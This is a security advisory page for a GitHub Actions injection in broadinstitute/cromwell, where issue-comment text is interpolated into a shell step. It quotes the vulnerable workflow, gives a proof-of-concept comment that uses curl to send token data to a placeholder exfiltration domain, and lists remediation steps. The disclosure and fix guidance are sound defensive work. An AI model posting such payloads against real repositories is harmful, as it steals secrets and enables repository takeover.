# GHSA-phf6-hm3h-x8qp: Cromwell GitHub Actions Secrets exfiltration via `Issue_comment`

> Attackers can inject code via issue comments to exfiltrate GitHub tokens and secrets, leading to repository takeover.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 28 May 2025

## What is GHSA-phf6-hm3h-x8qp?

GHSA-phf6-hm3h-x8qp is a code injection vulnerability in broadinstitute/cromwell, published on 28 May 2025. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.

### Official description

### Summary
Using `Issue_comment` on `.github/workflows/scalafmt-fix.yml` an attacker can inject malicious code using `github.event.comment.body`. By exploiting the vulnerability, it is possible to exfiltrate high privileged `GITHUB_TOKEN` which can be used to completely overtake the repo since the token has content privileges. In addition ,it is possible to exfiltrate also the secret:
- `BROADBOT_GITHUB_TOKEN `

### Details
The `Issue_comment` in GitHub Actions might be an injection path if the variable isn't handle as it should. In the following step it's vulnerable because it directly interpolates untrusted user input into a shell script.
```
      - name: Check for ScalaFmt Comment
        id: check-comment
        run: |
          if [[ "${{ github.event_name }}" == "issue_comment" && "${{ github.event.comment.body }}" == *"scalafmt"* ]]; then
            echo "::set-output name=comment-triggered::true"
          else
            echo "::set-output name=comment-triggered::false"
          fi
```
In this case, it is possible to exfiltrate `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secrets. 

### PoC
To exploit the vulnerability an attacker can just drop a comment to any issue formed in the following way to exploit the vulnerability in the workflow `.github/workflows/update_pylon_issue.yml`.
```
test" == "test" ]]; then
  & curl -s -d "$B64_BLOB" "https://$YOUR_EXFIL_DOMAIN/token" > /dev/null # 
```
To prove this is possible, we created an issue and we added a comment with the malicious code to extract the `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secret. With the `GITHUB_TOKEN` extracted we were able to push a new poc tag which has been deleted after a couple of minutes.

<img width="1603" alt="Screenshot 2025-05-20 at 23 17 14" src="https://github.com/user-attachments/assets/e2ebdb22-3d2d-467c-9326-34ca1e4b7ecf" />

### Impact
Usually with GITHUB_TOKEN and write permissions, an attacker is able to completely overtake the repo. 
```
GITHUB_TOKEN Permissions
  Actions: write
  Attestations: write
  Checks: write
  Contents: write
  Deployments: write
  Discussions: write
  Issues: write
  Metadata: read
  Models: read
  Packages: write
  Pages: write
  PullRequests: write
  RepositoryProjects: write
  SecurityEvents: write
  Statuses: write
```
We also checked `BROADBOT_GITHUB_TOKEN` permission to check if we could move laterally to org level. In this case the token seems scoped to this specific repo but it gives an attacker persistence without the need of a valid `GITHUB_TOKEN`.
We suggest to rotate the `BROADBOT_GITHUB_TOKEN` token asap.

### Fix

- Avoid directly interpolating untrusted user input into a shell script. Use GitHub Actions input context safely like:

```
- name: Dump comment
  run: echo "Comment Body: $BODY"
  env:
    BODY: ${{ github.event.comment.body }}
```
This safely passes the comment as an environment variable rather than interpolating it in-place.

- Scope GIHTUB_TOKEN permissions to just what the actions needs to do. In this case, if it's specific for issues:
```
permissions:
  issues: write
```

Kindly reported by @darryk10 @AlbertoPellitteri @loresuso

## Which versions are affected by GHSA-phf6-hm3h-x8qp?

1 open source package ship an affected version, including broadinstitute/cromwell.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `broadinstitute/cromwell` | GitHub Actions | From 87 | 90 |

## How do I fix GHSA-phf6-hm3h-x8qp?

Upgrade broadinstitute/cromwell to 90 or later.

## Is GHSA-phf6-hm3h-x8qp being exploited?

There is no known exploitation of GHSA-phf6-hm3h-x8qp in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-phf6-hm3h-x8qp and fix it if it is affected.

What it is: GHSA-phf6-hm3h-x8qp is a code injection vulnerability in broadinstitute/cromwell, published on 28 May 2025. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-phf6-hm3h-x8qp in the wild and no public exploit code.

Affected packages and fixed versions:
- broadinstitute/cromwell (GitHub Actions): affected from 87; fixed in 90

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-phf6-hm3h-x8qp/ (Markdown: https://insights.sbomify.com/GHSA-phf6-hm3h-x8qp/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-phf6-hm3h-x8qp

---
From sbomify Insights: https://insights.sbomify.com/GHSA-phf6-hm3h-x8qp/
Summaries are generated and may contain mistakes; the official description above is the record.
